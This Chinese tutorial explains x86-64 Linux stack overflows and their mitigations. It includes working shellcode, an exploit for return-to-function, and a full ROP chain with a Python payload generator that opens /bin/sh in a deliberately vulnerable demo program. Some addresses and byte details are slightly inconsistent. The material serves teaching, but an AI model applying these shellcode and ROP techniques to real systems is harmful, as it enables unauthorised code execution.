栈溢出攻击及防护方法简介

如果你学的第一门程序语言是C语言,那么下面这段程序很可能是你写出来的第一个有完整的 “输入—处理—输出” 流程的程序:

#include <stdio.h>

int main() {
    char name[64];
    printf("What's your name?");
    scanf("%s", name);
    printf("Hello, %s!\n", name);
    return 0;
}

也许这段小程序给你带来了小小的成就感,也许直到课程结束也没人说这个程序有什么不对,也许你的老师在第一时间就指出这段代码存在栈溢出的漏洞,也许你后来又看到无数的文章指出这个问题同时强调千万要慎用scanf函数,也许你还知道stackoverflow是最好的程序员网站。。。

但可能从来没有人告诉你,什么是栈溢出、栈溢出有什么危害、黑客们可以利用栈溢出来进行什么样的攻击,还有你最想知道的,他们是如何利用栈溢出来实现攻击的,以及如何防护他们的攻击。

本文将一一为你解答这些问题。

1. 准备工具及知识

你需要准备以下工具:

本文中所有代码均在Debian8.1(amd64)、gcc4.9.2、gdb7.7.1和nasm2.11.05以下运行通过,如果你使用的版本不一致,编译选项和代码中的有关数值可能需要根据实际情况略作修改。

你需要具备以下基础知识:

考虑到大部分学校里面使用的x86汇编教材都是32位、windows平台下的,这里简单介绍一下64位Linux平台下的汇编的不同之处(如果你已熟悉Linux下的X86-64汇编,那你可以跳过以下内容,直接阅读第2节):

第一个不同之处在于寄存器,64位的通用寄存器有rax, rbx, rcx, rdx, rsi, rdi, rbp, rsp, rip,对应32位的eax, ebx, ecx, edx, esi, edi, ebp, esp, eip,另外64位cpu中增加了r8, r9, r10, r11, r12, r13, r14, r15寄存器。

第二个不同之处在于函数的调用约定,x86-32位架构下的函数调用一般通过栈来传递参数,而x86-64位架构下的函数调用的一般用rdi,rsi,rdx,rcx,r8和r9寄存器依次保存前6个整数型参数,浮点型参数保存在寄存器xmm0,xmm1…中,有更多的参数才通过栈来传递参数。

第三个不同之处在于Linux系统特有的系统调用方式,Linux提供了许多很方便的系统调用(如write, read, open, fork, exec等),通过syscall指令调用,由rax指定需要调用的系统调用编号,由rdi,rsi,rdx,r10,r9和r8寄存器传递系统调用需要的参数。Linux(x64)系统调用表详见 linux system call table for x86-64

Linux(x64)下的Hello world汇编程序如下:

[section .text]
    global _start

_start:
    mov rax, 1          ; the system call for write ("1" for sys_write)
    mov rdi, 1          ; file descriptor ("1" for standard output)
    mov rsi, Msg        ; string's address  
    mov rdx, 12         ; string's length
    syscall

    mov rax, 0x3c       ; the system call for exit("0x3c" for sys_exit)
    mov rdi, 0          ; exit code
    syscall

Msg:
    DB "Hello world!"

将以上代码另存为hello-x64.asm,再在终端输入以下命令:

$ nasm -f elf64 hello-x64.asm
$ ld -s -o hello-x64 hello-x64.o
$ ./hello-x64
Hello world!

将编译生成可执行文件hello-x64,并在终端输出Hello world!

另外,本文所有汇编都是用intel格式写的,为了使gdb显示intel格式的汇编指令,需在home目录下新建一个.gdbinit的文件,输入以下内容并保存:

set disassembly-flavor intel
set disassemble-next-line on
display

2. 经典的栈溢出攻击

现在回到最开始的这段程序:

#include <stdio.h>

int main() {
    char name[64];
    printf("What's your name?");
    scanf("%s", name);
    printf("Hello, %s!\n", name);
    return 0;
}

将其另存为victim.c,用gcc编译并运行:

$ gcc victim.c -o victim -zexecstack -g
$ ./victim 
What's your name?Jack
Hello, Jack!

上面的编译选项中-g表示输出调试信息,-zexecstack的作用后面再说。先来仔细分析一下源程序,这段程序声明了一个长度为64的字节型数组,然后打印提示信息,再读取用户输入的名字,最后输出Hello和用户输入的名字。代码似乎没什么问题,name数组64个字节应该是够了吧?毕竟没人的姓名会有64个字母,毕竟我们的内存空间也是有限的。但是,往坏处想一想,没人能阻止用户在终端输入100甚至1000个的字符,当那种情况发生时,会发生什么事情?name数组只有64个字节的空间,那些多余的字符呢,会到哪里去?

为了回答这两个问题,需要了解程序运行时name数组是如何保存在内存中的,这是一个局部变量,显然应该保存在栈上,那栈上的布局又是怎样的?让我们来分析一下程序中的汇编指令吧,先将目标程序的汇编码输出到victim.asm文件中,命令如下:

objdump -d victim -M intel > victim.asm

然后打开victim.asm文件,找到其中的main函数的代码:

0000000000400576 <main>:
  400576:   55                      push   rbp
  400577:   48 89 e5                mov    rbp,rsp
  40057a:   48 83 ec 40             sub    rsp,0x40
  40057e:   bf 44 06 40 00          mov    edi,0x400644
  400583:   b8 00 00 00 00          mov    eax,0x0
  400588:   e8 b3 fe ff ff          call   400440 <printf@plt>
  40058d:   48 8d 45 c0             lea    rax,[rbp-0x40]
  400591:   48 89 c6                mov    rsi,rax
  400594:   bf 56 06 40 00          mov    edi,0x400656
  400599:   b8 00 00 00 00          mov    eax,0x0
  40059e:   e8 cd fe ff ff          call   400470 <__isoc99_scanf@plt>
  4005a3:   48 8d 45 c0             lea    rax,[rbp-0x40]
  4005a7:   48 89 c6                mov    rsi,rax
  4005aa:   bf 59 06 40 00          mov    edi,0x400659
  4005af:   b8 00 00 00 00          mov    eax,0x0
  4005b4:   e8 87 fe ff ff          call   400440 <printf@plt>
  4005b9:   b8 00 00 00 00          mov    eax,0x0
  4005be:   c9                      leaved
  4005bf:   c3                      ret

可以看出,main函数的开头和结尾和32位汇编中的函数几乎一样。该函数的开头的push rbp; mov rbp, rsp; sub rsp, 0x40,先保存rbp的数值,再令rbp等于rsp,然后将栈顶指针rsp减小0x40(也就是64),相当于在栈上分配长度为64的空间,main函数中只有name一个局部变量,显然这段空间就是name数组,即name的起始地址为rbp-0x40。再结合函数结尾的leave; ret,同时类比一下32位汇编中的函数栈帧布局,可以画出本程序中main函数的栈帧布局如下(请注意下图是按栈顶在上、栈底在下的方式画的):

                     Stack
                +-------------+
                |     ...     |
                +-------------+
                |     ...     |
 name(-0x40)--> +-------------+
                |     ...     |
                +-------------+
                |     ...     |
                +-------------+
                |     ...     |
                +-------------+
                |     ...     |
  rbp(+0x00)--> +-------------+
                |   old rbp   |
     (+0x08)--> +-------------+ <--rsp points here just before `ret`
                |   ret rip   |
                +-------------+
                |     ...     |
                +-------------+
                |     ...     |
                +-------------+

rbp即函数的栈帧基指针,在main函数中,name数组保存在rbp-0x40~rbp+0x00之间,rbp+0x00处保存的是上一个函数的rbp数值rbp+0x08处保存了main函数的返回地址。当main函数执行完leave命令,执行到ret命令时:上一个函数的rbp数值已重新取回至rbp寄存器,栈顶指针rsp已经指向了保存这个返回地址的单元。之后的ret命令会将此地址出栈,然后跳到此地址。

现在可以回答刚才那个问题了,如果用户输入了很多很多字符,会发生什么事情。此时scanf函数会读取第一个空格字符之前的所有字符,然后全部拷贝到name指向的地址处。若用户输入了100个“A”再回车,则栈会是下面这个样子:

                     Stack
                +-------------+
                |     ...     |
                +-------------+
                |     ...     |
 name(-0x40)--> +-------------+
                |   AAAAAAAA  |
                +-------------+
                |   AAAAAAAA  |
                +-------------+
                |   AAAAAAAA  |
                +-------------+
                |   AAAAAAAA  |
  rbp(+0x00)--> +-------------+
                |   AAAAAAAA  | (should be "old rbp")
     (+0x08)--> +-------------+ <--rsp points here just before `ret`
                |   AAAAAAAA  | (should be "ret rip")
                +-------------+
                |   AAAAAAAA  |
                +-------------+
                |     ...     |
                +-------------+

也就是说,上一个函数的rbp数值以及main函数的返回地址全部都被改写了,当执行完ret命令后,cpu将跳到0x4141414141414141(“AAAAAAAA”)地址处,开始执行此地址的指令。

在Linux系统中,0x4141414141414141是一个非法地址,因此程序会出错并退出。但是,如果用户输入了精心挑选的字符后,覆盖在这里的数值是一个合法的地址呢?如果这个地址上恰好保存了用户想要执行的恶意的指令呢?会发生什么事情?

以上就是栈溢出的本质,如果程序在接受用户输入的时候不对下标越界进行检查,直接将其保存到栈上,用户就有可能利用这个漏洞,输入足够多的、精心挑选的字符,改写函数的返回地址(也可以是jmp、call指令的跳转地址),由此获取对cpu的控制,从而执行任何他想执行的动作。

下面介绍最经典的栈溢出攻击方法:将想要执行的指令机器码写到name数组中,然后改写函数返回地址为name的起始地址,这样ret命令执行后将会跳转到name起始地址,开始执行name数组中的机器码。

我们将用这种方法执行一段简单的程序,该程序仅仅是在终端打印“Hack!”然后正常退出。

首先要知道name的起始地址,打开gdb,对victim进行调试,输入gdb -q ./victim,再输入break *main在main函数的开头下一个断点,再输入run命令开始运行,如下:

$ gdb -q ./victim
Reading symbols from ./victim...done.
(gdb) break *main
Breakpoint 1 at 0x400576: file victim.c, line 3.
(gdb) run
Starting program: /home/hcj/blog/rop/ch02/victim 

Breakpoint 1, main () at victim.c:3
3   int main() {
=> 0x0000000000400576 <main+0>: 55  push   rbp
   0x0000000000400577 <main+1>: 48 89 e5    mov    rbp,rsp
   0x000000000040057a <main+4>: 48 83 ec 40 sub    rsp,0x40
(gdb) 

此时程序停留在main函数的第一条指令处,输入p &name[0]x/gx $rsp分别查看name的起始指针和此时的栈顶指针rsp。

(gdb) p &name[0]
$1 = 0x7fffffffe100 "\001"
(gdb) x/gx $rsp
0x7fffffffe148: 0x00007ffff7a54b45
(gdb) 

得到name的起始指针为0x7fffffffe100、此时的栈顶指针rsp为0x7fffffffe148,name到rsp之间一共0x48(也就是72)个字节,这和之前的分析是一致的。

下面来写攻击指令的机器码,首先写出汇编代码:

[section .text]
        global _start

_start:
        jmp END
BEGIN:
        mov rax, 1
        mov rdi, 1
        pop rsi
        mov rdx, 5
        syscall

        mov rax, 0x3c
        mov rdi, 0
        syscall
END:
        call BEGIN
        DB "Hack!"

这段程序和第一节的Hello-x64基本一样,不同之处在于巧妙的利用了call BEGIN和pop rsi获得了字符串“Hack”的地址、并保存到rsi中。将以上代码保存为shell.asm,编译运行一下:

$ nasm -f elf64 shell.asm
$ ld -s -o shell shell.o
$ ./shell
Hack!

然后用objdump程序提取出机器码:

$ objdump -d shell -M intel
...
0000000000400080 <.text>:
  400080:   eb 1e                   jmp    0x4000a0
  400082:   b8 01 00 00 00          mov    eax,0x1
  400087:   bf 01 00 00 00          mov    edi,0x1
  40008c:   5e                      pop    rsi
  40008d:   ba 05 00 00 00          mov    edx,0x5
  400092:   0f 05                   syscall 
  400094:   b8 3c 00 00 00          mov    eax,0x3c
  400099:   bf 00 00 00 00          mov    edi,0x0
  40009e:   0f 05                   syscall 
  4000a0:   e8 dd ff ff ff          call   0x400082
  4000a5:   48 61                   rex.W (bad) 
  4000a7:   63 6b 21                movsxd ebp,DWORD PTR [rbx+0x21]

以上机器码一共42个字节,nameret rip之间一共72个字节,因此还需要补30个字节,最后填上name的起始地址0x7fffffffe100。main函数执行到ret命令时,栈上的数据应该是下面这个样子的(注意最后的name起始地址需要按小端顺序保存):

                                        Stack
 name(0x7fffffffe100)--> +---------------------------------+ <---+
                         |  eb 1e           (jmp END)      |     |
                BEGIN--> +---------------------------------+     |
                         |  b8 01 00 00 00  (mov eax,0x1)  |     |
                         +---------------------------------+     |
                         |  bf 01 00 00 00  (mov edi,0x1)  |     |
                         +---------------------------------+     |
                         |  5e              (pop rsi)      |     |
                         +---------------------------------+     |
                         |  ba 05 00 00 00  (mov edx,0x5)  |     |
                         +---------------------------------+     |
                         |  0f 05           (syscall)      |     |
                         +---------------------------------+     |
                         |  b8 3c 00 00 00  (mov eax,0x3c) |     |
                         +---------------------------------+     |
                         |  bf 00 00 00 00  (mov edi,0x0)  |     |
                         +---------------------------------+     |
                         |  0f 05           (syscall)      |     |
                   END-> +---------------------------------+     |
                         |  e8 dd ff ff ff  (call BEGIN)   |     |
                         +---------------------------------+     |
                         |  48 61 63 6b 21  ("Hack!")      |     |
     (0x7fffffffe12a)--> +---------------------------------+     |
                         |  "\x00"*30                      |     |
  rsp(0x7fffffffe148)--> +---------------------------------+     |
                         |  00 e1 ff ff ff 7f 00 00        | ----+
                         +---------------------------------+

上图中的栈上的所有字节码就是我们需要输入给scanf函数的字符串,这个字符串一般称为shellcode。由于这段shellcode中有很多无法通过键盘输入的字节码,因此用python将其打印至文件中:

$ python -c 'print "\xeb\x1e\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x5e\xba\x05\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05\xe8\xdd\xff\xff\xff\x48\x61\x63\x6b\x21" + "\x00"*30 + "\x00\xe1\xff\xff\xff\x7f\x00\x00"' > shellcode

现在可以对victim进行攻击了,不过目前只能在gdb的调试环境下进行攻击。输入gdb -q ./victim,再输入run < shellcode

$ gdb -q ./victim
Reading symbols from ./victim...done.
(gdb) run < shellcode
Starting program: /home/hcj/blog/rop/ch02/victim < shellcode
What's your name?Hello, ��!
Hack![Inferior 1 (process 2711) exited normally]
(gdb) 

可以看到shellcode已经顺利的被执行,栈溢出攻击成功。

编写shellcode需要注意两个事情:(1) 为了使shellcode被scanf函数全部读取,shellcode中不能含有空格字符(包括空格、回车、Tab键等),也就是说不能含有\x10、\x0a、\x0b、\x0c、\x20等这些字节码,否则shellcode将会被截断。如果被攻击的程序使用gets、strcpy这些字符串拷贝函数,那么shellcode中不能含有\x00。(2) 由于shellcode被加载到栈上的位置不是固定的,因此要求shellcode被加载到任意位置都能执行,也就是说shellcode中要使用相对寻址

3. 栈溢出攻击的防护

为了防止栈溢出攻击,最直接和最根本的办法当然是写出严谨的代码,剔除任何可能发生栈溢出的代码。这是程序员的责任。而另一方面,当程序代码中确实存在栈溢出漏洞时,操作系统和编译器有一些防护措施来防止栈溢出攻击,主要有以下措施。

(1) 栈不可执行机制

操作系统可以利用cpu的硬件特性,将栈设置为不可执行的,这样上一节所述的将攻击代码放在栈上的攻击方法就无法实施了。 上一节中gcc victim.c -o victim -zexecstack -g,其中的-zexecstack选项就是告诉操作系统允许本程序的栈可执行。去掉此选项再编译一次试试看:

$ gcc victim.c -o victim_nx -g
$ gdb -q ./victim_nx
Reading symbols from ./victim_nx...done.
(gdb) r < shellcode
Starting program: /home/hcj/blog/rop/ch02/victim_nx < shellcode
What's your name?Hello, ��!

Program received signal SIGSEGV, Segmentation fault.
0x00007fffffffe100 in ?? ()
=> 0x00007fffffffe100:  eb 1e   jmp    0x7fffffffe120
(gdb) 

可以看到当程序跳转到name的起始地址0x00007fffffffe100后,尝试执行此处的指令的时候发生了一个Segmentation fault,之后就中止运行了。

目前来说大部分程序都没有在栈上执行代码的需求,因此将栈设置为不可执行对大部分程序的正常运行都没有任何影响。目前的Linux-x64平台上默认是打开栈不可执行机制的。

(2) 栈保护机制

以gcc编译器为例,编译时若打开栈保护开关,则会在函数的进入和返回的地方增加一些检测指令,这些指令的作用是:当进入函数时,在栈上、ret rip之前保存一个只有操作系统知道的数值;当函数返回时,检查栈上这个地方的数值有没有被改写,若被改写了,则中止程序运行。由于这个数值保存在ret rip的前面,因此若ret rip被改写了,它肯定也会被改写。这个数值被形象的称为金丝雀。 让我们打开栈保护开关重新编译一下victim.c

$ gcc victim.c -o victim_fsp -g -fstack-protector
$ objdump -d victim_fsp -M intel > victim_fsp.asm

打开victim_fsp.asm找到main函数,如下:

00000000004005d6 <main>:
  4005d6:   55                      push   rbp
  4005d7:   48 89 e5                mov    rbp,rsp
  4005da:   48 83 ec 50             sub    rsp,0x50
  
  4005de:   64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28
  4005e5:   00 00 
  4005e7:   48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax
  
...

  40062d:   48 8b 55 f8             mov    rdx,QWORD PTR [rbp-0x8]
  400631:   64 48 33 14 25 28 00    xor    rdx,QWORD PTR fs:0x28
  400638:   00 00 
  40063a:   74 05                   je     400641 <main+0x6b>
  40063c:   e8 4f fe ff ff          call   400490 <__stack_chk_fail@plt>
  400641:   c9                      leave
  400642:   c3                      ret

可以看到函数的开头增加了mov rax,QWORD PTR fs:0x28; mov QWORD PTR [rbp-0x8],rax,函数退出之前增加了mov rdx,QWORD PTR [rbp-0x8]; xor rdx,QWORD PTR fs:0x28; je 400641 <main+0x6b>; call 400490 <__stack_chk_fail @ plt>这样的检测代码。

栈保护机制的缺点一个是开销太大,每个函数都要增加5条指令,第二个是只能保护函数的返回地址,无法保护jmp、call指令的跳转地址。在gcc4.9版本中默认是关闭栈保护机制的。

(3) 内存布局随机化机制

内存布局随机化就是将程序的加载位置、堆栈位置以及动态链接库的映射位置随机化,这样攻击者就无法知道程序的运行代码和堆栈上变量的地址。以上一节的攻击方法为例,如果程序的堆栈位置是随机的,那么攻击者就无法知道name数组的起始地址,也就无法将main函数的返回地址改写为shellcode中攻击指令的起始地址从而实施他的攻击了。

内存布局随机化需要操作系统和编译器的密切配合,而全局的随机化是非常难实现的。堆栈位置随机化和动态链接库映射位置随机化的实现的代价比较小,Linux系统一般都是默认开启的。而程序加载位置随机化则要求编译器生成的代码被加载到任意位置都可以正常运行,在Linux系统下,会引起较大的性能开销,因此Linux系统下一般的用户程序都是加载到固定位置运行的。

在Debian8.1和gcc4.9.2环境下实验,代码如下:

#include <stdio.h>

char g_name[64];

void *get_rip()
{
    asm("\n\
.intel_syntax noprefix\n\
        mov rax, [rbp+8]\n\
.att_syntax\n\
    ");
}

int main()
{
    char name[64];
    printf("Address of `g_name` (Global variable): %x\n", g_name);
    printf("Address of `name` (Local variable): %x\n", name);
    printf("Address of `main` (User code): %x\n", main);
    printf("Value of rip: %x\n", get_rip());
    return 0;
}

将以上代码另存为aslr_test.c,编译并运行几次,如下:

$ gcc -o aslr_test aslr_test.c
$ ./aslr_test 
Address of `g_name` (Global variable): 600a80
Address of `name` (Local variable): d3933580
Address of `main` (User code): 400510
Value of rip: 400560
$ ./aslr_test 
Address of `g_name` (Global variable): 600a80
Address of `name` (Local variable): 512cd150
Address of `main` (User code): 400510
Value of rip: 400560

可见每次运行,只有局部变量的地址是变化的,全局变量的地址、main函数的地址以及某条指令运行时刻的实际rip数值都是不变,因此程序是被加载到固定位置运行,但堆栈位置是随机的。

动态链接库的映射位置可以用ldd命令查看,如下:

$ ldd aslr_test
    linux-vdso.so.1 (0x00007ffe1dd9d000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f26b7e71000)
    /lib64/ld-linux-x86-64.so.2 (0x00007f26b821a000)
$ ldd aslr_test
    linux-vdso.so.1 (0x00007ffc6a771000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f4ec92c0000)
    /lib64/ld-linux-x86-64.so.2 (0x00007f4ec9669000)

可见每次运行,这三个动态链接库映射到进程aslr_test中的位置都是变化的。

4. ROP 攻击

在操作系统和编译器的保护下,程序的栈是不可运行的、栈的位置是随机的,增大了栈溢出攻击的难度。但如果程序的加载位置是固定的、或者程序中存在加载到固定位置的可执行代码,攻击者就可以利用这些固定位置上的代码来实施他的攻击。

考虑下面的代码,其中含有一个borrowed函数,作用是打开一个shell终端。

#include <stdio.h>
#include <unistd.h>

void borrowed() {
    execl("/bin/sh", NULL, NULL);
}

int main() {
    char name[64];
    printf("What's your name?");
    scanf("%s", name);
    printf("Hello, %s!\n", name);
    return 0;
}

将以上代码另存为victim.c编译,并提取汇编码到victim.asm中,如下:

$ gcc -o victim victim.c
$ objdump -d victim -M intel > victim.asm

打开victim.asm可以查到borrowed函数的地址为0x4050b6。因此,若攻击者利用栈溢出将main函数的返回地址改写为0x4050b6,则main函数返回时会转到borrowed函数运行,打开一个shell终端,后面就可以利用终端干很多事情了。 现在来试一试吧:

$ python -c 'print "\x00"*72+"\xb6\x05\x40\x00\x00\x00\x00\x00"' > shellcode
$ cat shellcode - | ./victim 
What's your name?Hello, !
ls
shellcode  victim  victim.asm  victim.c
mkdir xxx
ls
shellcode  victim  victim.asm  victim.c  xxx
rmdir xxx
ls
shellcode  victim  victim.asm  victim.c

可以看出终端被成功的打开了,并运行了ls、mkdir、rmdir命令。

注意以上攻击命令中 cat shellcode - | ./victim”-“ 是不能省略的,否则终端打开后就会立即关闭。

这个例子表明,攻击者可以利用程序自身的代码来实施攻击,从而绕开栈不可执行和栈位置随机化的防护。这个程序是一个特意构造的例子,实际的程序中当然不太可能埋一个borrowed函数这样的炸弹来等着人来引爆。但是,攻击者可以利用程序自身的、没有任何恶意的代码片段来组装出这样的炸弹来,这就是ROP攻击。

ROP攻击全称为Return-oriented programming,在这种攻击中,攻击者先搜索出程序自身中存在的跳板指令(gadgets),然后将一些跳板指令串起来,组装成一段完整的攻击程序。

跳板指令就是以ret结尾的指令(也可以是以jmp、call结尾的指令),如mov rax, 1; ret | pop rax; ret。那如何将跳板指令串起来?

假如程序中在0x1234 | 0x5678 | 0x9abc地址处分别存在三段跳板指令mov rax, 10; ret | mov rbx, 20; ret | add rax, rbx; ret,且当前的rip指向的指令是ret,如果将0x1234 | 0x5678 | 0x9abc三个地址的数值放到栈上,如下:

                    Stack                      Code
  rsp(+0x00)-->+-------------+            +-------------+<--rip
               |   0x1234    |--------+   |     ret     |
     (+0x08)-->+-------------+        |   +-------------+
               |   0x5678    |-----+  |   |     ...     |
     (+0x10)-->+-------------+     |  +-->+-------------+<--0x1234
               |   0x9abc    |--+  |      | mov rax, 10 |
               +-------------+  |  |      +-------------+
               |     ...     |  |  |      |     ret     |
               +-------------+  |  |      +-------------+
               |     ...     |  |  |      |     ...     |
               +-------------+  |  +----->+-------------+<--0x5678
               |     ...     |  |         | mov rbx, 20 |
               +-------------+  |         +-------------+
               |     ...     |  |         |     ret     |
               +-------------+  |         +-------------+
               |     ...     |  |         |     ...     |
               +-------------+  +-------->+-------------+<--0x9abc
               |     ...     |            | add rax,rbx |
               +-------------+            +-------------+
               |     ...     |            |     ret     |
               +-------------+            +-------------+
Equivalent codes:
        mov rax, 10
        mov rbx, 20
        add rax, rbx

则执行完ret指令后,程序将跳转到0x1234,执行此处的指令mov rax, 10; ret,后面这个ret指令又将跳转到0x5678,执行mov rbx, 20; ret,之后再跳转到0x9abc,执行add rax, rbx,整个流程好像在顺序执行mov rax, 10; mov rbx, 20; add rax, rbx一样。

可见只要将这些以ret指令结尾的gadgets的地址放在栈上合适的位置,这些ret指令就会按指定的顺序一步步的在这些gadgets之间跳跃。

再看一个稍微复杂的例子:

                    Stack                   Code
  rsp(+0x00)-->+-------------+         +-------------+<--rip
               |    addr1    |-----+   |     ret     |
     (+0x08)-->+-------------+     |   +-------------+
               |    0x3b     |     |   |     ...     |
               +-------------+     +-->+-------------+<--addr1
               |    addr2    |--+      |   pop rax   |
               +-------------+  |      +-------------+
               |     ...     |  |      |     ret     |
               +-------------+  |      +-------------+
               |     ...     |  |      |     ...     |
               +-------------+  +----->+-------------+<--addr2
               |     ...     |         |  next inst  |
               +-------------+         +-------------+
               |     ...     |         |     ret     |
               +-------------+         +-------------+
Equivalent codes:
        mov rax, 0x3b

这个例子中,跳板指令是pop rax; ret,执行完后,栈上的0x3b将pop到rax中,因此这种型式的跳板指令可以实现对寄存器的赋值。

add rsp, 10h; ret型式的跳板指令可以模拟流程跳转,如下:

                    Stack                       Code
  rsp(+0x00)-->+-------------+               +-------------+<--rip
               |    addr1    |-----------+   |     ret     |
     (+0x08)-->+-------------+           |   +-------------+
               |    addr2    |--------+  |   |     ...     |
               +-------------+        |  +-->+-------------+<--addr1
               |    addr3    |-----+  |      | add rsp,10h |
               +-------------+     |  |      +-------------+
               |    addr4    |--+  |  |      |     ret     |
               +-------------+  |  |  |      +-------------+
               |     ...     |  |  |  |      |     ...     |
               +-------------+  |  |  +----->+-------------+<--addr2
               |     ...     |  |  |         |    inst2    |
               +-------------+  |  |         +-------------+
               |     ...     |  |  |         |     ret     |
               +-------------+  |  |         +-------------+
               |     ...     |  |  |         |     ...     |
               +-------------+  |  +-------->+-------------+<--addr3
               |     ...     |  |            |    inst3    |
               +-------------+  |            +-------------+
               |     ...     |  |            |     ret     |
               +-------------+  |            +-------------+
               |     ...     |  |            |     ...     |
               +-------------+  +----------->+-------------+<--addr4
               |     ...     |               |    inst4    |
               +-------------+               +-------------+
               |     ...     |               |     ret     |
               +-------------+               +-------------+
Equivalent codes:
        jmp there
        inst2
        inst3
there:  inst4

条件跳转甚至函数调用都可以用精心构造出的gadgets链来模拟。只要找出一些基本的gadgets,就可以使用这些gadgets来组装出复杂的攻击程序。而只要被攻击程序的代码量有一定的规模,就不难在这个程序的代码段中搜索出足够多的gadgets(注意目标程序的代码中不需要真正有这样的指令,只需要恰好有这样的指令的机器码,例如如果需要用到跳板指令pop rax; ret,只需要目标程序的代码段中含有字节码串58 C3就可以了)。

下面以实例来展示一下ROP攻击的强大,在这个例子中,将利用gadgets组装出程序,执行exec系统调用打开一个shell终端。

用exec系统调用打开一个shell终端需要的参数和指令如下:

        mov rax, 0x3b   ; system call number, 0x3b for sys_exec
        mov rdi, PROG   ; char *prog (program path)
        mov rsi, 0      ; char **agcv
        mov rdx, 0      ; char **env
        syscall
PROG:   DB "/bin/sh", 0

其中rax为系统调用编号,rdi为字符串指针、指向可执行程序的完整路径,rsi和rdx都是字符串指针数组,保存了参数列表和环境变量,在此处可以直接置为0。

为了增大被攻击程序的体积,以搜索到尽可能多的gadgets,在原来的代码中增加一个random函数,同时用静态链接的方式重新编译一下victim.c:

$ cat victim.c
#include <stdio.h>
#include <stdlib.h>

int main() {
    char name[64];
    printf("What's your name?");
    scanf("%s", name);
    printf("Hello, %s%ld!\n", name, random());
    return 0;
}
$ gcc -o victim victim.c -static

手工搜索目标程序中的gadgets显然是不现实的,采用JonathanSalwan编写的ROPgadget搜索,网址在这里:https://github.com/JonathanSalwan/ROPgadget,可以使用pip安装:

$ su
$ apt-get install python-pip
$ pip install capstone
$ pip install ropgadget
$ exit

安装完成后,可以使用下面的命令来搜索gadgets

$ ROPgadget --binary ./victim --only "pop|ret"

搜索到程序中存在的跳板指令只是第一步。接下来需要挑选并组装gadgets,过程非常繁琐、复杂,不再叙述了。总之,经过多次尝试,最后找到了以下gadgets:

0x00000000004003f2 : pop r12 ; ret
0x00000000004018ed : pop r12 ; pop r13 ; ret
0x0000000000487318 : mov rdi, rsp ; call r12
0x0000000000431b3d : pop rax ; ret
0x00000000004333d9 : pop rdx ; pop rsi ; ret
0x000000000043d371 : syscall

按下图的方式拼装gadgets,图中的‘+’号旁边的数字0、1、2、…、13表示攻击程序执行过程中rip和rsp的移动顺序。

               Stack                                          Code
name-->+--------------------+                           +--------------+0<--rip
       | "\x00"*72          |                           | ret          |
rsp-->0+--------------------+                           +--------------+
       | 0x00000000004003f2 |-----------------------+   | ...          |
      1+--------------------+                       +-->+--------------+1
       | 0x00000000004018ed |---------------------+     | pop r12      |
    2,5+--------------------+                     |     +--------------+2
       | 0x0000000000487318 |------------------+  |     | ret          |
  3,4,6+--------------------+                  |  |     +--------------+
       | "/bin/sh\x00"      |                  |  |     | ...          |
      7+--------------------+                  |  +---->+--------------+5
       | 0x0000000000431b3d |--------------+   |        | pop r12      |
      8+--------------------+              |   |        +--------------+6
       | 0x000000000000003b |              |   |        | pop r13      |
      9+--------------------+              |   |        +--------------+7
       | 0x00000000004333d9 |-----------+  |   |        | ret          |
     10+--------------------+           |  |   |        +--------------+
       | 0x0000000000000000 |           |  |   |        | ...          |
     11+--------------------+           |  |   +------->+--------------+3
       | 0x0000000000000000 |           |  |            | mov rdi, rsp |
     12+--------------------+           |  |            +--------------+4
       | 0x000000000043d371 |-------+   |  |            | call r12     |
     13+--------------------+       |   |  |            +--------------+
                                    |   |  |            | ...          |
                                    |   |  +----------->+--------------+8
                                    |   |               | pop rax      |
                                    |   |               +--------------+9
                                    |   |               | ret          |
                                    |   |               +--------------+
                                    |   |               | ...          |
                                    |   +-------------->+--------------+10
                                    |                   | pop rsi      |
                                    |                   +--------------+11
                                    |                   | pop rdx      |
                                    |                   +--------------+12
                                    |                   | ret          |
                                    |                   +--------------+
                                    |                   | ...          |
                                    +------------------>+--------------+13
                                                        | syscall      |
                                                        +--------------+

为了将大端顺序的地址数值转换为小端顺序的字符串,编写了一个python程序gen_shellcode.py来生成最终的shellcode:

>>> s= long2bytes(0x5c4)
>>> s
'\xc4\x05\x00\x00\x00\x00\x00\x00'
def long2bytes(x):
    ss = [""] * 8
    for i in range(8):
        ss[i] = chr(x & 0xff)
        x >>= 8
    return "".join(ss)

print "\x00"*72 + \
    long2bytes(0x4003f2) + \
    long2bytes(0x4018ed) + \
    long2bytes(0x487318) + \
    "/bin/sh\x00" + \
    long2bytes(0x431b3d) + \
    long2bytes(0x00003b) + \
    long2bytes(0x4333d9) + \
    long2bytes(0x000000) + \
    long2bytes(0x000000) + \
    long2bytes(0x43d371)

现在可以实施攻击了:

$ python gen-shellcode.py > shellcode
$ cat shellcode - | ./victim
What's your name?Hello, 1804289383!
ls
gen-shellcode.py  shellcode  victim  victim.c
mkdir xxx
ls
gen-shellcode.py  shellcode  victim  victim.c xxx

可以看出终端被成功打开,ls和mkdir命令都可以运行。

5. 致谢

感谢jip的文章 Stack Smashing On A Modern Linux System 和Ben Lynn的文章 64-bit Linux Return-Oriented Programming ,他们的文章系统的介绍了Linux(x64)下的栈溢出攻击和防护方法。

感谢 Erik Buchanan, Ryan Roemer 和 Stefan Savage 等人对ROP做出的非凡的工作:Return-Oriented Programming: Exploits Without Code Injection,ROP攻击几乎无法阻挡,强大之中又蕴涵着优雅的美感,就像风清杨教给令狐冲的独孤九剑。

感谢JonathanSalwan编写的ROPgadget,他的工具让搜索gadgets的工作变得简单无比。